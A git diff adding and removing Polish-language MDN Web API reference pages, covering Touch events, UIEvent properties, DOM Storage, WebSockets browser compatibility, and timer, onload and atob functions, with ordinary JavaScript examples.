Since calling preventDefault() on a {{event("touchstart")}} or the first {{event("touchmove")}} event of a series prevents the corresponding mouse events from firing, it's common to call preventDefault() on {{event("touchmove")}} rather than {{event("touchstart")}}. That way, mouse events can still fire and things like links will continue to work. Alternatively, some frameworks have taken to refiring touch events as mouse events for this same purpose. (This example is oversimplified and may result in strange behavior. It is only intended as a guide.)

+ +
function onTouch(evt) {
+  evt.preventDefault();
+  if (evt.touches.length > 1 || (evt.type == "touchend" && evt.touches.length > 0))
+    return;
+
+  var newEvt = document.createEvent("MouseEvents");
+  var type = null;
+  var touch = null;
+
+  switch (evt.type) {
+    case "touchstart":
+      type = "mousedown";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchmove":
+      type = "mousemove";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchend":
+      type = "mouseup";
+      touch = evt.changedTouches[0];
+      break;
+  }
+
+  newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
+    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+    evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
+  evt.originalTarget.dispatchEvent(newEvt);
+}
+
+ +

Calling preventDefault() only on a second touch

+ +

One technique for preventing things like pinchZoom on a page is to call preventDefault() on the second touch in a series. This behavior is not well defined in the touch events spec, and results in different behavior for different browsers (i.e., iOS will prevent zooming but still allow panning with both fingers; Android will allow zooming but not panning; Opera and Firefox currently prevent all panning and zooming.) Currently, it's not recommended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming.

+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}{{Spec2('Touch Events 2')}}Added radiusX, radiusY, rotationAngle, force properties
{{SpecName('Touch Events', '#touch-interface', 'Touch')}}{{Spec2('Touch Events')}}Initial definition.
+ +

Wsparcie przeglądarek

+ +

Touch

+ +

Touch events are typically available on devices with a touch screen, but many browsers make the touch events API unavailable on all desktop devices, even those with touch screens.

+ +

The reason for this is that some websites use the availability of parts of the touch events API as an indicator that the browser is running on a mobile device. If the touch events API is available, these websites will assume a mobile device and serve mobile-optimised content. This may then provide a poor experience for users of desktop devices that have touch screens.

+ +

To support both touch and mouse across all types of device, use pointer events instead.

+ + + +

{{Compat("api.Touch")}}

+ +

Firefox, touch events, and multiprocess (e10s)

+ +

In Firefox, touch events are disabled when e10s (electrolysis; multiprocess Firefox) is disabled. e10s is on by default in Firefox, but can end up becoming disabled in certain situations, for example when certain accessibility tools or Firefox add-ons are installed that require e10s to be disabled to work. This means that even on a touchscreen-enabled desktop/laptop, touch events won't be enabled.

+ +

You can test whether e10s is disabled by going to about:support and looking at the "Multiprocess Windows" entry in the "Application Basics" section. 1/1 means it is enabled, 0/1 means disabled.

+ +

If you want to force e10s to be on — to explicitly re-enable touch events support — you need to go to about:config and create a new Boolean preference browser.tabs.remote.force-enable. Set it to true, restart the browser, and e10s will be enabled regardless of any other settings.

diff --git a/files/pl/web/api/uievent/cancelbubble/index.html b/files/pl/web/api/uievent/cancelbubble/index.html new file mode 100644 index 0000000000..64b0a32f88 --- /dev/null +++ b/files/pl/web/api/uievent/cancelbubble/index.html @@ -0,0 +1,15 @@ +--- +title: event.cancelBubble +slug: Web/API/Event/cancelBubble +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/cancelBubble +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Wskazuje, czy zostało anulowane bąbelkowanie tego zdarzenia.

+

Składnia

+
bool = event.cancelBubble
+
+

{{ languages( { "en": "en/DOM/event.cancelBubble" } ) }}

diff --git a/files/pl/web/api/uievent/inituievent/index.html b/files/pl/web/api/uievent/inituievent/index.html new file mode 100644 index 0000000000..3a20fef39d --- /dev/null +++ b/files/pl/web/api/uievent/inituievent/index.html @@ -0,0 +1,49 @@ +--- +title: event.initUIEvent +slug: Web/API/Event/initUIEvent +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/initUIEvent +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Inicjalizuje utworzone wcześniej zdarzenie interfejsu użytkownika.

+

Składnia

+
event.initUIEvent(type,canBubble,cancelable,view,detail)
+
+

Parametry

+
+
+ type
+
+ typ zdarzenia
+
+ canBubble
+
+ Wartość logiczna wskazująca, czy zdarzenie ma bąbelkować czy nie (zob. bubbles).
+
+ cancelable
+
+ Wartość logiczna wskazująca, czy zdarzenie może zostać anulowane (zob. cancelable).
+
+ view
+
+ widok (AbstractView) powiązany z tym zdarzeniem
+
+ detail
+
+ liczba określająca szczegółową informację dla tego zdarzenia; dla zdarzeń myszy jest to liczba kliknięć w danym miejscu ekranu (zwykle 1).
+
+

Przykład

+
e = document.createEvent("UIEvents");
+// tworzy zdarzenie kliknięcia, które bąbelkuje, może być
+// anulowane i którego widok i szczegółowa informacja
+// to odpowiednio window i 1
+e.initUIEvent("click", true, true, window, 1);
+
+

Specyfikacja

+

initUIEvent

+

{{ languages( { "en": "en/DOM/event.initUIEvent" } ) }}

diff --git a/files/pl/web/api/uievent/ischar/index.html b/files/pl/web/api/uievent/ischar/index.html new file mode 100644 index 0000000000..fc7a7dfec9 --- /dev/null +++ b/files/pl/web/api/uievent/ischar/index.html @@ -0,0 +1,24 @@ +--- +title: event.isChar +slug: Web/API/Event/isChar +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/isChar +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca wartość logiczną oznaczającą, czy w zdarzeniu pojawił się klawisz znaku czy nie.

+

Składnia

+
bool = event.isChar
+
+

Example

+
 if e.isChar
+   echoInput(e.type);
+ }
+
+

Notes

+

Niektórze kombinacje klawiszy mogą wywyoływać zdarzenia bez wystąpienia znaku (np. ctrl + alt). Wtedy isChar zwraca fałsz. isChar może być użyty, kiedy funkcje obsługujące zdarzenie potrzebują np. wyświetlić wprowadzony znak na ekranie.

+

Specyfikacja

+

Nie należy do specyfikacji.

+

{{ languages( { "en": "en/DOM/event.isChar" } ) }}

diff --git a/files/pl/web/api/uievent/layerx/index.html b/files/pl/web/api/uievent/layerx/index.html new file mode 100644 index 0000000000..5a69b4c864 --- /dev/null +++ b/files/pl/web/api/uievent/layerx/index.html @@ -0,0 +1,15 @@ +--- +title: event.layerX +slug: Web/API/Event/layerX +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/layerX +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem bieżącej warstwy.

+

Składnia

+
liczba = event.layerX
+
+

{{ languages( { "en": "en/DOM/event.layerX" } ) }}

diff --git a/files/pl/web/api/uievent/layery/index.html b/files/pl/web/api/uievent/layery/index.html new file mode 100644 index 0000000000..f610d08357 --- /dev/null +++ b/files/pl/web/api/uievent/layery/index.html @@ -0,0 +1,17 @@ +--- +title: event.layerY +slug: Web/API/Event/layerY +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/layerY +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem bieżącej warstwy.

+

Składnia

+
liczba = event.layerY
+
+

Specyfikacja

+

Nie należy do specyfikacji.

+

{{ languages( { "en": "en/DOM/event.layerY" } ) }}

diff --git a/files/pl/web/api/uievent/pagex/index.html b/files/pl/web/api/uievent/pagex/index.html new file mode 100644 index 0000000000..98c3c3e1ed --- /dev/null +++ b/files/pl/web/api/uievent/pagex/index.html @@ -0,0 +1,17 @@ +--- +title: event.pageX +slug: Web/API/Event/pageX +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/pageX +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całej strony.

+

Składnia

+
liczba = event.pageX
+
+

{{ languages( { "en": "en/DOM/event.pageX", "es": "es/DOM/event.pageX" } ) }}

diff --git a/files/pl/web/api/uievent/pagey/index.html b/files/pl/web/api/uievent/pagey/index.html new file mode 100644 index 0000000000..d82e2237df --- /dev/null +++ b/files/pl/web/api/uievent/pagey/index.html @@ -0,0 +1,15 @@ +--- +title: event.pageY +slug: Web/API/Event/pageY +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/pageY +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całej strony.

+

Składnia

+
liczba = event.pageY
+
+

{{ languages( { "en": "en/DOM/event.pageY" } ) }}

diff --git a/files/pl/web/api/uievent/view/index.html b/files/pl/web/api/uievent/view/index.html new file mode 100644 index 0000000000..57af70a587 --- /dev/null +++ b/files/pl/web/api/uievent/view/index.html @@ -0,0 +1,23 @@ +--- +title: event.view +slug: Web/API/Event/view +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/view +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Atrybut view identyfikuje widok (interfejs AbstractView), w którym wygenerowane zostało zdarzenie.

+

Składnia

+
referencjaDoAbstractView = event.view
+
+

Parametry

+ +

Specyfikacja

+

view

+

{{ languages( { "en": "en/DOM/event.view" } ) }}

diff --git a/files/pl/web/api/web_storage_api/index.html b/files/pl/web/api/web_storage_api/index.html new file mode 100644 index 0000000000..238b10d4d7 --- /dev/null +++ b/files/pl/web/api/web_storage_api/index.html @@ -0,0 +1,155 @@ +--- +title: Storage +slug: Web/API/Storage +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - JavaScript + - Wszystkie_kategorie +translation_of: Web/API/Web_Storage_API +translation_of_original: Web/Guide/API/DOM/Storage +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Magazyn DOM (DOM Storage) jest nazwą określającą zestaw aspektów magazynowania danych wprowadzonych w specyfikacji Web Applications 1.0. Magazyn DOM jest zaprojektowany, by dostarczyć większą, bezpieczniejszą i prostszą do użycia, alternatywę przechowywania informacji w ciasteczkach. Jest obecnie dostępny tylko w przeglądarkach bazujących na Mozilli, zwłaszcza zaczynając od Firefoksa 2.

+ +
Uwaga: Magazyn DOM nie jest tym samym co mozStorage (interfejsy XPCOM Mozilli do SQLite) czy API przechowywania sesji (użyteczność magazynu XPCOM do użycia przez rozszerzenia).
+ +

Opis

+ +

Mechanizm Magazynu DOM w głównej mierze polega na bezpiecznym przechowywaniu par kluczy i wartości możliwych do późniejszego odtworzenia. Celem tego dodatku jest dostarczenie wszechstronnego środka, dzięki któremu mogą być budowane w pełni interaktywne aplikacje (włączając w to zaawansowane cechy, takie jak możliwość pracowania bez dostępu do sieci nawet przez dłuższe okresy czasu).

+ +

Obecnie tylko przeglądarki bazujące na Mozilli dostarczają działającą implementację specyfikacji Magazynu DOM. Jednakże, Internet Explorer posiada podobną funkcję nazwaną "zachowaniem danych użytkownika" (userData behavior), które pozwala na przechowanie danych pomiędzy wieloma sesjami przeglądarki.

+ +

Magazyn DOM jest użyteczny, ponieważ nie istnieje żadna dobra metoda przechowywania przez przeglądarkę sensownej pojemności danych przez dowolny okres czasu. Ciasteczka HTTP mają ograniczoną pojemność i nie dostarczają żadnego wsparcia dla organizowania przechowywanych danych oraz innych metod (takich jak Lokalny magazyn Flash (Flash Local Storage)), które do działania wymagają dodatkowych wtyczek.

+ +

Jedną z pierwszych aplikacji, które zaczęły używać nowej funkcjonalności Magazynu DOM (w dodatku do "zachowania danych użytkownika" Internet Explorer) było halfnote (aplikacja zarządzająca notatkami) napisana przez Aarona Boodmana. W swoim programie, Aaron jednocześnie zapisywał swoje notatki na serwer (kiedy jego połączenie Internetowe było aktywne) i dysk lokalny. To pozwala użytkownikowi na bezpieczne zapisywanie notatek, nawet ze sporadyczną aktywnością połączenia z Internetem.

+ +

Pomimo, że koncept oraz implementacja zaprezentowana w programie halfnote była stosunkowo prosta, jego powstanie wskazuje na możliwość tworzenia nowego typu aplikacji internetowych, użytecznych i działających zarówno z aktywnym połączeniem Internetowym, jak i bez niego.

+ +

Odnośniki

+ +

Poniższe elementy są obiektami globalnymi, które istnieją jako własności każdego okna DOM. Znaczy to, że są one dostępne jako własności sessionStorage lub window.sessionStorage (jest to ważne, ponieważ możliwe dzięki temu jest użycie ramek do przechowania i dostępu do dodatkowych danych, po za tym, co automatycznie jest dostępne na stronie).

+ +

sessionStorage

+ +

Jest to globalny obiekt, który zajmuje się przechowywaniem danych, które mają być dostępne na czas trwania sesji strony. Trwa ona tak długo, dopóki otwarte jest okno przeglądarki, które można przeładowywać i odświeżać. Otwarcie strony w nowej karcie bądź oknie, powoduje stworzenie nowej sesji.

+ +
// Zapisywanie danych do pamięci aktualnej sesji
+sessionStorage.username = "John";
+
+// Odtwarzanie wcześniej zapisanych danych
+alert( "username = " + sessionStorage.username );
+
+ +

Obiekt sessionStorage jest najbardziej pomocny przy przechowywaniu tymczasowych danych, które powinny być zapisane i chronione przez utraceniem w razie przypadkowego przeładowania strony.

+ +
Uwaga: Obiekt sessionStorage powinien również być w stanie przechowywać i odtwarzać dane po przypadkowym zawieszeniu się przeglądarki, jednak przez {{ Bug(339445) }} ta funkcjonalność w Firefox jeszcze nie działa.
+ +

Przykłady:

+ +

Automatycznie zapisuje treści pól tekstowych, by w razie przypadkowego odświeżenia strony, odtworzyć treści tych pól, by nie stracić danych już wprowadzonych.

+ +
 // Pobranie pola tekstowego, który zamierzamy śledzić.
+ var field = document.getElementById("field");
+
+ // Sprawdzenie, czy mamy zapisaną już wcześniej wartość
+ // (stanie się to tylko wtedy, gdy strona została przeładowana)
+ if ( sessionStorage.autosave ) {
+     // Odtworzenie wartości pola tekstowego
+     field.value = sessionStorage.autosave;
+ }
+
+ // Sprawdzanie wartości pola tekstowego co 1 sekundę
+ setInterval(function(){
+     // Oraz zapisanie jej do obiektu sesji
+     sessionStorage.autosave = field.value;
+ }, 1000);
+
+ +

Więcej informacji:

+ + + +

globalStorage

+ +

Jest to globalny obiekt, który utrzymuje wiele przestrzeni publicznych oraz prywatnych, które mogą być użyte do przechowywania danych przez dłuższy okres czasu (np. przez kilka stron czy sesji przeglądarki).

+ +
// Zapisanie danych, które będzie można odtworzyć tylko z domeny mozilla.org
+globalStorage['mozilla.org'].snippet = "<b>Cześć</b>, jak się masz?";
+
+// Zapisanie danych, które możliwe będą do otworzenia przez dowolną stronę czy domenę
+globalStorage[''].favBrowser = "Firefox";
+
+ +

Dokładniej mówiąc, obiekt globalStorage daje nam dostęp do wielu różnych magazynów obiektów, do których można przypisywać dane. Dla przykładu, jeśli chcielibyśmy stworzyć stronę internetową, która używałaby obiektu globalStorage w tej domenie (developer.mozilla.org) mielibyśmy takie obiekty magazynów nam dostępne:

+ + + +

Przykłady:

+ +

Wszystkie te przykłady wymagają dołączenia kodu na wszystkich stronach, na których chcemy zaobserwować efekt.

+ +

Zapamiętywanie nazwy użytkownika dla konkretnej subdomeny, która została odwiedzona:

+ +
 globalStorage['developer.mozilla.org'].username = "John";
+
+ +

Zliczenie każdej wizyty użytkownika na każdej ze stron w danej domenie:

+ +
 // musi zostać użyte parseInt, ponieważ wszystkie przechowywane dane są jako ciągi znakowe
+ globalStorage['mozilla.org'].visits =
+     parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1;
+
+ +

Zapamiętywanie adresów wszystkich stron, które odwiedzasz:

+ +
 globalStorage[''].sites += "," + location.hostname;
+
+ +

Więcej informacji:

+ + + +

Więcej informacji:

+ + + +

Przykłady

+ + + +

Tematy powiązane

+ + + +

 

+ +

 

+ +
 
+ +

{{ languages( { "en": "en/DOM/Storage", "es": "es/DOM/Almacenamiento", "fr": "fr/DOM/Storage", "ja": "ja/DOM/Storage", "zh-cn": "cn/DOM/Storage" } ) }}

diff --git a/files/pl/web/api/websockets_api/index.html b/files/pl/web/api/websockets_api/index.html new file mode 100644 index 0000000000..ed590efefb --- /dev/null +++ b/files/pl/web/api/websockets_api/index.html @@ -0,0 +1,188 @@ +--- +title: WebSockets +slug: WebSockets +translation_of: Web/API/WebSockets_API +--- +

WebSocket to zaawansowana technologia, która pozwala na otwarcie interaktywnej sesji komunikacyjnej pomiędzy przeglądarką użytkownika a serwerem. Dzięki temu API możesz wysłać wiadomość do serwera oraz otrzymać od niego odpowiedzi jako zdarzenia, bez konieczności ponownego odpytywania o nie serwera.

+ +
+
+

Dokumentacja

+ +
+
Pisanie aplikacji klienckich WebSocket
+
Poradnik pokazujący jak napisać klienta WebSocket uruchamianego w przeglądarce internetowej.
+
WebSockets reference
+
A reference to the client-side WebSocket API.
+
Obsługa WebSocket po stronie serwera
+
Przewodnik do obsługi protokołu WebSocket po stronie serwera.
+
+ +

Zobacz całość...

+
+ +
+

Narzędzia

+ + + + + + +
+
+ +

Zobacz także

+ + + +

Zgodność z przeglądarkami

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Version -76 support {{obsolete_inline}}6{{CompatGeckoDesktop("2.0")}}{{CompatNo}}11.00 (disabled)5.0.1
Protocol version 7 support {{obsolete_inline}}{{CompatNo}}{{CompatGeckoDesktop("6.0")}}
+ {{property_prefix("Moz")}}
{{CompatNo}}{{CompatNo}}{{CompatNo}}
Protocol version 10 support {{obsolete_inline}}14{{CompatGeckoDesktop("7.0")}}
+ {{property_prefix("Moz")}}
HTML5 Labs{{CompatUnknown}}{{CompatUnknown}}
Standard - RFC 6455 Support16{{CompatGeckoDesktop("11.0")}}1012.106.0
Usable in Workers{{CompatVersionUnknown}}{{CompatGeckoDesktop("37.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Version -76 support {{obsolete_inline}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Protocol version 7 support {{obsolete_inline}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Protocol version 8 support (IETF draft 10) {{obsolete_inline}}{{CompatUnknown}}{{CompatGeckoMobile("7.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Standard - RFC 6455 Support4.4{{CompatGeckoDesktop("11.0")}}{{CompatUnknown}}12.106.0
Usable in Workers{{CompatVersionUnknown}}{{CompatGeckoMobile("37.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Gecko notes

+ +

WebSockets support in Firefox is continuing to track the evolving WebSocket specification. Firefox 6 implements version 7 of the underlying protocol, while Firefox 7 implements version 8 (as specified by IETF draft 10). Firefox mobile received WebSocket support in Firefox mobile 7.0.

+ +

Gecko 6.0

+ +

Prior to Gecko 6.0 {{geckoRelease("6.0")}}, there was, incorrectly, a WebSocket object that some sites were thinking implied that WebSocket services were not prefixed; this object has been renamed to MozWebSocket.

+ +

Gecko 7.0

+ +

Począwszy od Gecko 7.0 {{geckoRelease("7.0")}}, właściwość network.websocket.max-connections jest używana by decydować o maksymalnej liczbie połączeń WebSocket, które mogą być otwarte jednocześnie. Domyślnie jest to 200.

+ +

Gecko 8.0

+ +

Starting in Gecko 8.0 {{geckoRelease("8.0")}}, the deflate-stream extension to the WebSocket protocol has been disabled, since it's been deprecated from the specification drafts. This resolves incompatibilities with some sites.

+ +

Gecko 11.0

+ +

Prior to Gecko 11.0, both incoming and outgoing messages were limited to 16 MB in size. They may now be up to 2 GB in size. Note, however, that memory limitations (especially on mobile devices) make that a theoretical maximum, not a practical one. In reality, transfers of that size will fail on devices that don't have enough memory.

+ +

Additionally, ArrayBuffer send and receive support for binary data has been implemented.

+ +

Starting in Gecko 11.0, the WebSocket API is no longer prefixed.

diff --git a/files/pl/web/api/window/clearinterval/index.html b/files/pl/web/api/window/clearinterval/index.html deleted file mode 100644 index e763be1f4a..0000000000 --- a/files/pl/web/api/window/clearinterval/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: window.clearInterval -slug: Web/API/Window/clearInterval -tags: - - Window -translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval ---- -
- {{ApiRef}}
-

Podsumowanie

-

Anuluje powtarzającą się akcję, która została utworzona korzystając z setInterval().

-

Składnia

-
window.clearInterval(idInterwalu)
-
-

idInterwalu to identyfikator powtarzającej się akcji, która ma zostać anulowana. Ten identyfikator został zwrócony z {{domxref("window.setInterval","setInterval()")}}.

-

Przykład

-

Zobacz przykład z setInterval().

-

Specification

-

{{DOM0}}

-

Zobacz także

- diff --git a/files/pl/web/api/window/cleartimeout/index.html b/files/pl/web/api/window/cleartimeout/index.html deleted file mode 100644 index 64604dc479..0000000000 --- a/files/pl/web/api/window/cleartimeout/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: window.clearTimeout -slug: Web/API/Window/clearTimeout -translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Usuwa opóźnienie ustanione przez window.setTimeout().

-

Składnia

-
window.clearTimeout(id)
-
-

gdzie id jest identyfikatorem opóźnienia do usunięcia, który został zwrócony podczas wywołania window.setTimeout().

-

Przykład

-

Uruchomienie poniższego skryptu w kontekscie strony i pojedyncze kliknięcie spowoduje wyświetlenie wiadomości po jednej sekundzie. Jeżeli użytkownik będzie klikał na stronie przynajmniej raz na sekundę wiadomość nigdy nie zostanie wyświetlona.

-
var alarm = {
-  remind: function(aMessage) {
-    alert(aMessage);
-    delete this.timeoutID;
-  },
-
-  setup: function() {
-    this.cancel();
-    var self = this;
-    this.timeoutID = window.setTimeout(function(msg) {self.remind(msg);}, 1000, "Wake up!");
-  },
-
-  cancel: function() {
-    if(typeof this.timeoutID == "number") {
-      window.clearTimeout(this.timeoutID);
-      delete this.timeoutID;
-    }
-  }
-};
-window.onclick = function() { alarm.setup() };
-
-

Uwagi

-

Przekazanie niepoprawnego ID do clearTimeout nie powoduje żadnej akcji (żaden błąd nie jest wyrzucany).

-

Specyfikacja

-

{{ DOM0() }}

-

{{ languages( { "en": "en/DOM/window.clearTimeout", "fr": "fr/DOM/window.clearTimeout", "ja": "ja/DOM/window.clearTimeout", "pl": "pl/DOM/window.clearTimeout" } ) }}

diff --git a/files/pl/web/api/window/onload/index.html b/files/pl/web/api/window/onload/index.html deleted file mode 100644 index 45e1b97328..0000000000 --- a/files/pl/web/api/window/onload/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: window.onload -slug: Web/API/Window/onload -tags: - - DOM - - DOM_0 - - Dokumentacja_Gecko_DOM - - Gecko - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/API/GlobalEventHandlers/onload ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Uchwyt zdarzenia dla zdarzenia wczytywania okna (window).

- -

Składnia

- -
window.onload = funcRef;
-
- - - -

Przykład

- -
window.onload = function() {
-  init();
-  doSomethingElse();
-};
-
- -
<html>
-<head>
-
-<title>Test onload</title>
-
-<script type="text/javascript">
-
-window.onload = load;
-
-function load()
-{
- alert("Wykryto zdarzenie load!");
-}
-</script>
-</head>
-
-<body>
-<p>Zdarzenie load występuje w momencie zakończenia ładowania dokumentu!</p>
-</body>
-</html>
-
- -

Uwagi

- -

Zdarzenie load wywoływane jest na końcu procesu ładowania dokumentu. W momencie wystąpienia zdarzenia, DOM zawiera już wszystkie obiekty zawarte w dokumencie oraz zakończone zostało wczytywanie obrazków oraz ramek.
-
- Istnieje także zdarzenie DOMContentLoaded (które można zarejestrować za pomocą addEventListener) występujące w momencie gdy DOM dla danej strony został zbudowany ale bez czekania na zakończenie ładowania pozostałych zasobów.

diff --git a/files/pl/web/api/window/setinterval/index.html b/files/pl/web/api/window/setinterval/index.html deleted file mode 100644 index 5cbfadde80..0000000000 --- a/files/pl/web/api/window/setinterval/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: window.setInterval -slug: Web/API/Window/setInterval -tags: - - DOM - - DOM_0 - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Ustawia opóźnienie do cyklicznego wywoływania określonej funkcji.

- -

Składnia

- -
var idInterwalu = window.setInterval(funkcja, opóźnienie[, parametr1, parametr2, ...]);
-var idInterwalu = window.setInterval(kod, opóźnienie);
- -

 Parametry

- - - -

Należy zwrócić uwagę, że przekazywanie dodatkowych parametrów w pierwszej składni nie działa w Internet Explorerze.

- -

Przykład

- -
idInterwalu = window.setInterval(animuj, 500);
-
- -

 W poniższym przykładzie, funkcja zmienKolorTekstu() będzie wykonywana co sekundę, dopóki użytkownik nie naciśnie przycisku Stop, co spowoduje wywołanie clearInterval() z parametrem idInterwalu.

- -
<html>
-<head>
-<title>przykład z wykorzystaniem setInterval/clearInterval</title>
-
-<script type="text/javascript">
-var idInterwalu;
-
-function zmienKolor() {
-  idInterwalu = setInterval(zmienKolorTekstu, 1000);
-}
-
-function zmienKolorTekstu() {
-  var elem = document.getElementById("my_box");
-  if (elem.style.color == 'red') {
-    elem.style.color = 'blue';
-  } else {
-    elem.style.color = 'red';
-  }
-}
-
-function zatrzymajZmianeKoloru() {
-  clearInterval(idInterwalu);
-}
-</script>
-</head>
-
-<body onload="zmienKolor();">
-<div id="my_box">
-<p>Hello World</p>
-</div>
-<button onclick="zatrzymajZmianeKoloru();">Stop</button>
-</body>
-</html>
- -

Uwagi

- -

Funkcja setInterval() służy do ustawienia opóźnienia dla cyklicznie wywoływanych funkcji, takich jak funkcje animacji.

- -

Możliwe jest anulowanie wykonania fukcji poprzez wywołanie window.clearInterval().

- -

Jeżeli funkcja ma zostać wykonana tylko raz a nie być wykonywana cyklicznie to należy skorzystać z  window.setTimeout().

- -

Specyfikacja

- -

{{ DOM0() }}

- -

{{ languages( { "en": "en/DOM/window.setInterval", "fr": "fr/DOM/window.setInterval", "ja": "ja/DOM/window.setInterval", "pl": "pl/DOM/window.setInterval" } ) }}

diff --git a/files/pl/web/api/window/settimeout/index.html b/files/pl/web/api/window/settimeout/index.html deleted file mode 100644 index 926080dd5b..0000000000 --- a/files/pl/web/api/window/settimeout/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: window.setTimeout -slug: Web/API/Window/setTimeout -tags: - - DOM - - DOM_0 - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Uruchamia fragment kodu bądź funkcję po określonym odstępie czasu.

-

Składnia

-
id = window.setTimeout(funkcja, opóźnienie[, param1, param2, ...]);
-id = window.setTimeout(kod, opóźnienie);
-
-

gdzie

- -

Przykłady

-
window.setTimeout('window.parent.generateOutput()', 1000);
-
-
function generateOutput(aConcise) {
-  if(aConcise)
-    parent.generateConciseOutput();
-  else
-    parent.generateOutput();
-}
-window.setTimeout(generateOutput, 1000, true);
-
-

Zobacz też przykład użycia clearTimeout().

-

Uwagi

-

Możesz anulować opóźnienie wywołania funkcji za pomocą window.clearTimeout().

-

Jeśli chcesz, by funkcja była uruchamiana cyklicznie (np. co każde N milisekund), rozważ wykorzystanie window.setInterval().

-

Specyfikacja

-

{{ DOM0() }}

-

{{ languages( { "en": "en/DOM/window.setTimeout", "fr": "fr/DOM/window.setTimeout", "ja": "ja/DOM/window.setTimeout", "pl": "pl/DOM/window.setTimeout" } ) }}

diff --git a/files/pl/web/api/windowbase64/atob/index.html b/files/pl/web/api/windowbase64/atob/index.html deleted file mode 100644 index cd36201a6c..0000000000 --- a/files/pl/web/api/windowbase64/atob/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: WindowBase64.atob() -slug: Web/API/WindowBase64/atob -tags: - - API - - Base-64 - - Base64 - - Method - - Metodă - - Reference - - Referencja - - WindowBase64 -translation_of: Web/API/WindowOrWorkerGlobalScope/atob ---- -

{{APIRef}}

-

Funkcja WindowBase64.atob() dekoduje ciąg danych, który został zakodowany używając kodowania base-64. Możesz użyć metody window.btoa() aby zakodować i przesłać dane, które w innym wypadku mogą powodować problemy z komunikacją, a następnie odebrać je i użyć metody window.atob() aby zdekodować dane ponownie. Na przykład możesz zakodować, przesłać i zdekodować znaki kontrolne ASCII o wartościach od 0 do 31.

-

Aby używać tej funkcji z ciągami Unicode albo UTF-8, zobacz tę uwagę w Kodowaniu i dekodowaniu Base64 i tę uwagę w window.btoa().

-

Składnia

-
var odkodowaneDane = window.atob(zakodowaneDane);
-

Przykład

-
var zakodowaneDane = window.btoa("Hello, world"); // kodowanie ciągu
-var odkodowaneDane = window.atob(zakodowaneDane); // odkodowywanie ciągu
-

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML WHATWG')}}Bez zmian od ostatniej migawki, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML5.1')}}Migawka {{SpecName("HTML WHATWG")}}. Bez zmian.
